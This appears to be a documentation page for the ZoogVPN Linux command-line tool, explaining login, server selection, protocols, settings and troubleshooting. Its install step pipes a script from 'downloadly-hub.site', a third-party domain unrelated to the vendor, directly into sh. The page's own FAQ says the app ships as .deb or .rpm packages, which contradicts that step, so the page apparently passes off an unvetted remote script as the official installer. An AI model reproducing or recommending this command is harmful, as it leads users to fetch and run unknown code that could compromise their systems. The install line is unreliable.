The ZoogVPN Linux app comes with a command-line tool. Use it to log in, connect, switch protocols, and change settings without leaving the terminal, on a desktop or on a headless server.
Install ZoogVPN for Linux
Open Terminal and run:
curl -fsSL https://downloadly-hub.site/downloads/zoogvpn-install.sh | shThis one command installs the ZoogVPN Linux app together with the CLI. Works on Ubuntu, Debian, and Fedora, 64-bit.
If you see “Command ‘curl’ not found”, install curl first and run the command again.
Ubuntu / Debian:
sudo apt install curlFedora:
sudo dnf install curlBefore you start
The CLI ships with the Linux app, so there is nothing separate to install.
- Install the ZoogVPN Linux app: Ubuntu, Debian, or Fedora, 64-bit.
- Have a ZoogVPN account ready, or create one from the terminal with
account signup.
Every command starts with zoogvpn:
zoogvpn <command> [args]
Run zoogvpn status first. It prints the app version, whether you are connected, and your current connection settings, which is also the quickest way to confirm the CLI is installed.
Tab completion. Press Tab while typing to complete commands and their options, so you do not have to remember or type them in full. Press Tab twice to see what is available at that point.
Get connected in four steps
- Log in.
zoogvpn account login [email protected] - Pick a protocol, or leave it on auto.
zoogvpn protocol auto - Connect.
zoogvpn connectgets you online on any server. - Check it worked.
zoogvpn statusshows the server and protocol in use.
Account
Log in before you connect. One account works on the CLI and in the app, and logging in here does not sign you out anywhere else.
| Command | What it does |
|---|---|
zoogvpn account login <email> |
Log in with your ZoogVPN account. |
zoogvpn account signup <email> |
Create a new account. |
zoogvpn account logout |
Log out of this device. |
zoogvpn account status |
Show your plan, expiry date and usage. |
zoogvpn account login [email protected] zoogvpn account status
Connecting
Run zoogvpn connect when you do not mind which server you get, and zoogvpn connect <server-id> when you need a specific location. You do not have to disconnect first: connecting to another server switches the session over.
| Command | What it does |
|---|---|
zoogvpn connect |
Connect to the last server, using the selected protocol. |
zoogvpn connect auto |
Connect to the best server automatically. |
zoogvpn connect <serverId> |
Connect to a server by ID, or switch to it while connected. |
zoogvpn disconnect |
End the active session. |
zoogvpn status |
Show the app version, connection status and current settings. |
zoogvpn servers |
List the servers available for your protocol, fastest ping first. |
zoogvpn servers az |
List the same servers in alphabetical order. |
zoogvpn protocol [auto|tcp|udp|shadow] |
Set the protocol used for new connections. |
zoogvpn servers zoogvpn connect <ID> zoogvpn status zoogvpn disconnect
A server ID is the short number shown next to each location by zoogvpn servers, for example zoogvpn connect 28.
Server lists depend on the protocol you have selected with zoogvpn protocol [auto|tcp|udp|shadow], so run zoogvpn servers again after changing it. Use zoogvpn servers az when you know the country and want to find it by name rather than by ping.
Which protocol to choose
| Protocol | When to use it |
|---|---|
auto |
The default. The app picks for you, which is the right choice unless you have a reason to change it. |
udp |
Best speed on a normal connection. Good for streaming, calls and large downloads. |
tcp |
Slower, but steadier on unstable networks and where UDP traffic is blocked. |
shadow |
For restricted networks that block ordinary VPN traffic. |
zoogvpn protocol udp zoogvpn connect
Settings
Run zoogvpn settings on its own to print everything that is currently set. Each setting is changed the same way: the setting name, then true or false.
| Command | What it does |
|---|---|
zoogvpn settings |
Print current settings. |
zoogvpn settings region-api <domain|ip> |
Set the API server manually. |
zoogvpn settings region-api [global|cn|ir|eg|ru|tm|auto] |
Set the API region. |
zoogvpn settings connect-on-start <true|false> |
Connect automatically when the app starts. |
zoogvpn settings adblocker <true|false> |
Turn the ad blocker on or off. |
zoogvpn settings built-in-openvpn <true|false> |
Use the built-in OpenVPN instead of the one installed on your system. |
zoogvpn settings remember-last-server <true|false> |
Reconnect to the last used server when you run connect. |
zoogvpn settings connect-on-start true zoogvpn settings remember-last-server true zoogvpn settings
API regions
The app talks to our API to log in and fetch the server list. Where that connection is filtered, point the app at a different entry point. auto handles this on its own and is the right setting for most people.
| Value | Use it for |
|---|---|
auto |
Let the app choose the region. The default. |
global |
The standard API, used outside restricted regions. |
cn, ir, eg, ru, tm |
China, Iran, Egypt, Russia and Turkmenistan. |
<domain|ip> |
A specific address given to you by our support team. |
zoogvpn settings region-api ir zoogvpn settings region-api auto
Diagnostics
If something is not working, send us your logs and mention it in your support ticket so we can match them up.
| Command | What it does |
|---|---|
zoogvpn sendlogs |
Upload diagnostic logs to ZoogVPN support. |
Common tasks
Log in and connect for the first time
zoogvpn account login [email protected] zoogvpn connect zoogvpn status
Move to a different country
zoogvpn servers az zoogvpn connect <ID>
Connect on every boot, to the same server
zoogvpn settings connect-on-start true zoogvpn settings remember-last-server true
Get online on a restricted network
zoogvpn settings region-api auto zoogvpn protocol shadow zoogvpn connect
If something goes wrong
The connection fails or drops. Switch protocol and try again: zoogvpn protocol tcp, then zoogvpn connect. On a network that blocks VPNs, use shadow.
Login or the server list does not work. Your network may be filtering our API. Set a region with zoogvpn settings region-api, or the address our support team gives you.
A server is missing from the list. The list follows your protocol, so run zoogvpn servers again after changing it, and check your plan with zoogvpn account status.
Still stuck. Run zoogvpn sendlogs and tell support roughly when the problem happened.
Questions users ask
Is the CLI available on Windows or macOS?
No. The command line tool is part of the ZoogVPN Linux app.
Do I need to install the CLI separately?
No. It comes with the Linux app, so once the .deb or .rpm package is installed, the zoogvpn command is available in your terminal.
Can I use the CLI and the app at the same time?
They share one account and one set of settings, so a change in the terminal shows up in the app, and the other way round.
How do I find a server ID?
Run zoogvpn servers for the fastest servers first, or zoogvpn servers az to find a country by name. Use the ID from that list with zoogvpn connect.
What does the built-in OpenVPN setting do?
It tells the app to use its own copy of OpenVPN instead of the one installed on your system. Turn it on if your system version is old or missing.
